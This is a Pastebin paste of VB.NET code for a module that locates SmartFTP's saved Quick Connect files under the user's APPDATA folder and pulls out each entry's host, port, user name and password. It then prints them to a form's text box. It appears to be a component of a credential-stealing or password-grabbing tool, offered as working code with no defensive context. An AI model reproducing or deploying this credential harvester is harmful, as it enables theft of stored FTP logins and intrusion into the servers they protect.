Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Module SmartFTP
- Function SmartFTP() As String
- Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml")
- Dim sFile As String = ReadFile(sPath)
- Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
- Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
- Dim sUser As String = Cut(sFile, "<User>", "</User>")
- Dim sPwd As String = Cut(sFile, "<Password>", "</Password>")
- Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")
- If Not sUser = "" Then
- Try
- SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Password: " + sPwd + " (Encrypt)"
- Dim nl As String = vbNewLine
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("============SmartFTP==============")
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("Entry: " & sEntry)
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("Host: " & sHost)
- Form1.ztext.AppendText(": " & sPort)
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("User: " & sUser)
- Form1.ztext.AppendText(nl)
- Form1.ztext.AppendText("Password: " & sPwd)
- Form1.ztext.AppendText("=============================")
- Form1.ztext.AppendText(nl)
- Catch ex As Exception
- Form1.ztext.AppendText("============SmartFTP==============")
- Form1.ztext.AppendText(vbNewLine)
- Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!")
- Form1.ztext.AppendText(vbNewLine)
- Form1.ztext.AppendText("=================================")
- End Try
- Else
- End If
- End Function
- Function ReadFile(ByVal sFile As String) As String
- On Error Resume Next
- Dim OpenFile As New System.IO.StreamReader(sFile)
- ReadFile = OpenFile.ReadToEnd.ToString
- End Function
- Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String
- On Error Resume Next
- Dim c() As String
- Dim c2() As String
- c = Split(sInhalt, sText)
- c2 = Split(c(1), stext2)
- Cut = c2(0)
- End Function
- Function RegRead(ByVal hKey As String) As String
- Dim wshShell As Object = CreateObject("WScript.Shell")
- On Error Resume Next
- RegRead = wshShell.RegRead(hKey)
- End Function
- Public Function ReadLine(ByVal filename As String, _
- ByVal line As Integer) As String
- Try
- Dim lines As String() = My.Computer.FileSystem.ReadAllText( _
- filename, System.Text.Encoding.Default).Split(vbCrLf)
- If line > 0 Then
- Return lines(line - 1)
- ElseIf line < 0 Then
- Return lines(lines.Length + line - 1)
- Else
- Return ""
- End If
- Catch ex As Exception
- Return ""
- End Try
- End Function
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement